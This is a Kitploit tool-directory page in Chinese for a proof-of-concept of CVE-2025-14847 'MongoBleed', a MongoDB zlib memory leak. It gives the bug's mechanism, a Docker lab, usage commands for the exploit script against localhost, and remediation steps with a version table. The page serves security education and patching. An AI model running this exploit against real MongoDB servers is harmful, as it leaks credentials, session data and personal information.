Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-14847-MongoBleed-Exploit — CVE-2025-14847 MongoBleed - MongoDB 内存泄漏漏洞 PoC | Kitploit
工具/GitHubGitHub/furkankayapinar/cve-2025-14847-mongobleed-exploit
内存取证漏洞分析漏洞利用学习与教育数据库安全实验室与实践
GitHubfurkankayapinar/cve-2025-14847-mongobleed-exploit

CVE-2025-14847-MongoBleed-Exploit

CVE-2025-14847 MongoBleed - MongoDB 内存泄漏漏洞 PoC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
138个月前尚未审核

CVE-2025-14847 - MongoBleed

Python License CVE

👨‍💻 作者: Furkan KAYAPINAR (@FurkanKAYAPINAR)

⚠️ 仅供教育用途

针对 MongoDB Server 中严重的未授权内存泄漏漏洞的实验环境及利用脚本。


📋 目录

  • 漏洞概述
  • 受影响版本
  • 安装
  • 实验环境
  • 使用方法
  • 修复方案
  • 法律声明

🔴 漏洞概述

CVE-2025-14847 (MongoBleed) 是 MongoDB Server 的 zlib 压缩处理中存在的一个严重的未授权内存泄漏漏洞。

属性值
CVE 编号CVE-2025-14847
CVSS 评分8.7 (高危)
攻击向量网络
身份验证无需
披露日期2025 年 12 月 19 日

技术细节

漏洞存在于 message_compressor_zlib.cpp 中。在处理 OP_COMPRESSED 消息时:

  1. 攻击者发送包含不一致长度字段的精心构造的消息
  2. 服务器根据声明的 uncompressedSize 分配缓冲区
  3. 实际解压后的数据小于声明的长度
  4. 服务器返回分配的缓冲区长度,而非实际数据长度
  5. 未初始化的堆内存被泄露给攻击者

影响

泄露的数据可能包括:

  • 🔑 身份验证令牌和机密信息
  • 🗄️ 数据库会话数据
  • 👤 个人身份信息 (PII)
  • 🔐 API 密钥和密码
  • ⚙️ 配置详情

📦 受影响版本


🚀 安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB

# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# venv\Scripts\activate   # Windows

# 安装依赖
pip install -r requirements.txt

🧪 实验环境

启动一个存在漏洞的 MongoDB 实例用于测试:

root@kitploit:~
cd lab

# 启动存在漏洞的 MongoDB (6.0.26,启用 zlib)
docker-compose up -d

# 确认运行状态
docker-compose ps

# 加载样本数据(可选)
./setup.sh load-data

# 停止实验环境
docker-compose down

💀 使用方法

基础利用

root@kitploit:~
# 单个目标
python exploit/mongobleed.py -u 127.0.0.1

# 指定端口
python exploit/mongobleed.py -u 127.0.0.1 -p 27017

# 将泄露数据保存到文件
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin

# 多次迭代以获取更多数据
python exploit/mongobleed.py -u 127.0.0.1 -i 20

# 安静模式(减少输出)
python exploit/mongobleed.py -u 127.0.0.1 -q

# 不输出十六进制转储(文本输出)
python exploit/mongobleed.py -u 127.0.0.1 --text

🔧 修复方案

方案 1:升级(推荐)

root@kitploit:~
# 更新到已修复版本
# 以 MongoDB 6.x 为例
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27

方案 2:禁用 zlib 压缩

root@kitploit:~
# 启动 mongod 时不启用 zlib
mongod --networkMessageCompressors snappy,zstd

# 或在 mongod.conf 中配置
net:
  compression:
    compressors: snappy,zstd

验证修复

root@kitploit:~
python remediation/verify_fix.py --target 127.0.0.1 --port 27017

⚖️ 法律声明

🚨 警告

本工具仅用于教育和授权的安全测试。

  • 未经授权访问计算机系统是违法行为
  • 您需对自己的行为承担全部责任
  • 作者不对任何滥用行为承担责任

使用本工具即表示您确认已获得测试目标系统的适当授权。


📚 参考

  • NVD - CVE-2025-14847
  • MongoDB 安全公告
  • Varonis - MongoBleed 分析

🤝 贡献

欢迎贡献!请先阅读 CONTRIBUTING.md。


📄 许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。

下载工具
版本范围修复版本
8.2.0 - 8.2.28.2.3
8.0.0 - 8.0.168.0.17
7.0.0 - 7.0.267.0.28
6.0.0 - 6.0.266.0.27
5.0.0 - 5.0.315.0.32
4.4.0 - 4.4.294.4.30
所有 4.2、4.0、3.6 版本已终止支持 - 请立即升级